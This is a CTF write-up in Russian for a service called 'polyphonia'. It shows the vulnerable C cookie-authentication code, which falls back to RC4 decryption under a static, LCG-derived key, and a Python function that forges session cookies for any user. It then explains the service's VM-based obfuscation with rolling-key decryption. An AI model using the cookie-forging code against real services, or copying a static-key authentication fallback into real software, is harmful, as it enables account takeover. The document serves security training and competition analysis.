178 lines
7.5 KiB
Markdown
178 lines
7.5 KiB
Markdown
# writeup | polyphonia
|
||
|
||
Уязвимость здесь находится в функции `authenticate_cookie` (см. `sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c`):
|
||
```c
|
||
int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
|
||
{
|
||
if (!cookie_hex)
|
||
return 0;
|
||
|
||
if (out_username && username_len > 0)
|
||
out_username[0] = '\0';
|
||
if (out_user_id)
|
||
*out_user_id = -1;
|
||
|
||
char username_buf[64];
|
||
int user_id = db_get_session_user(cookie_hex, username_buf);
|
||
if (user_id > 0)
|
||
{
|
||
if (out_user_id)
|
||
*out_user_id = user_id;
|
||
if (out_username && username_len > 0)
|
||
{
|
||
strncpy(out_username, username_buf, username_len - 1);
|
||
out_username[username_len - 1] = '\0';
|
||
}
|
||
return 1;
|
||
}
|
||
|
||
unsigned char session_bytes[SESSION_ID_LEN];
|
||
if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
|
||
return 0;
|
||
|
||
unsigned char decrypted[SESSION_ID_LEN];
|
||
unsigned char keybuf[22];
|
||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||
rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);
|
||
|
||
char username[65];
|
||
size_t name_len = 0;
|
||
while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
|
||
{
|
||
username[name_len] = (char)decrypted[name_len];
|
||
name_len++;
|
||
}
|
||
username[name_len] = '\0';
|
||
|
||
if (name_len == 0)
|
||
return 0;
|
||
|
||
user_id = db_get_user_by_username(username, username_buf);
|
||
if (user_id <= 0)
|
||
return 0;
|
||
|
||
if (out_user_id)
|
||
*out_user_id = user_id;
|
||
if (out_username && username_len > 0)
|
||
{
|
||
strncpy(out_username, username_buf, username_len - 1);
|
||
out_username[username_len - 1] = '\0';
|
||
}
|
||
|
||
return 2;
|
||
}
|
||
```
|
||
Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через `db_get_session_user`, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем `username` (`db_get_user_by_username`).
|
||
Ключ всегда одинаков:
|
||
```c
|
||
unsigned char keybuf[22];
|
||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||
```
|
||
Соответственно можем сделать подходящую куку на любого юзера:
|
||
```python
|
||
def forge_cookie(username: str) -> str:
|
||
encoded = username.encode("utf-8")
|
||
if len(encoded) > SESSION_LEN:
|
||
raise ValueError("username too long for forged session payload")
|
||
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
||
key = derive_rc4_key(22)
|
||
ciphertext = rc4(key, padded)
|
||
return ciphertext.hex()
|
||
```
|
||
|
||
Собственно ключ создаётся с помощью LCG:
|
||
```python
|
||
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
||
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
||
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
||
def derive_rc4_key(length: int = 22) -> bytes:
|
||
state = 0
|
||
out = bytearray()
|
||
while len(out) < length:
|
||
state = (214013 * state + 2531011) & 0x7fffffff
|
||
r = (state >> 16) & 0xFFFF
|
||
hi = (r >> 8) & 0xFF
|
||
lo = r & 0xFF
|
||
if len(out) < length:
|
||
out.append(hi)
|
||
if len(out) < length:
|
||
out.append(lo)
|
||
return bytes(out)
|
||
```
|
||
|
||
```python
|
||
>>> derive_rc4_key(22).hex()
|
||
'00261e2752f6098522972e1520ad7e1d28d2779416dd'
|
||
```
|
||
|
||
Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.
|
||
|
||
Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
|
||
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: `sources/polyphonia/obfuscator_src`
|
||
|
||
Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: `services/polyphonia/dist/polyphonia-server-binary`. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.
|
||
|
||
Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции `vm_execute_internal` (`sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c`).
|
||
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например `vm_decrypt_imm`, здесь расшифровываем value:
|
||
```c
|
||
case OP_PUSH_IMM: {
|
||
int32_t cipher = (int32_t)vm_fetch32(&vm);
|
||
int32_t value = vm_decrypt_imm(&vm, cipher);
|
||
vm_push(&vm, (int64_t)value);
|
||
#if VM_ENABLE_TRACE
|
||
if (vm.debug)
|
||
printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
|
||
#endif
|
||
break;
|
||
}
|
||
```
|
||
|
||
В то же время в `vm_push`, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:
|
||
```c
|
||
static inline void vm_push(VMState *vm, int64_t plain)
|
||
{
|
||
vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
|
||
}
|
||
```
|
||
|
||
Перед dispatch-ем инструкция fetch-ится с помощью `vm_fetch8`, расшифровка - `ct ^ k`, `k` - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:
|
||
```c
|
||
static inline uint8_t vm_fetch8(VMState *vm)
|
||
{
|
||
uint8_t ct = vm->bytecode[vm->pc];
|
||
if (!vm->code_encrypted)
|
||
{
|
||
vm->pc++;
|
||
return ct;
|
||
}
|
||
if (vm->code_off != vm->pc)
|
||
vm_code_stream_reset(vm, vm->pc);
|
||
if (vm->code_bpos >= 8)
|
||
{
|
||
vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
|
||
vm->code_bpos = 0;
|
||
}
|
||
uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
|
||
vm->code_cur_ks >>= 8;
|
||
vm->code_bpos++;
|
||
vm->code_off++;
|
||
vm->pc++;
|
||
return (uint8_t)(ct ^ k);
|
||
}
|
||
```
|
||
Меняется он при помощи xorshift64:
|
||
```c
|
||
// xorshift64* keystream for blob encryption/decryption (simple stream)
|
||
static inline uint64_t vm_stream_next(uint64_t *s)
|
||
{
|
||
uint64_t x = *s;
|
||
x ^= x >> 12;
|
||
x ^= x << 25;
|
||
x ^= x >> 27;
|
||
*s = x;
|
||
return x * 2685821657736338717ULL;
|
||
}
|
||
```
|
||
|
||
Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.
|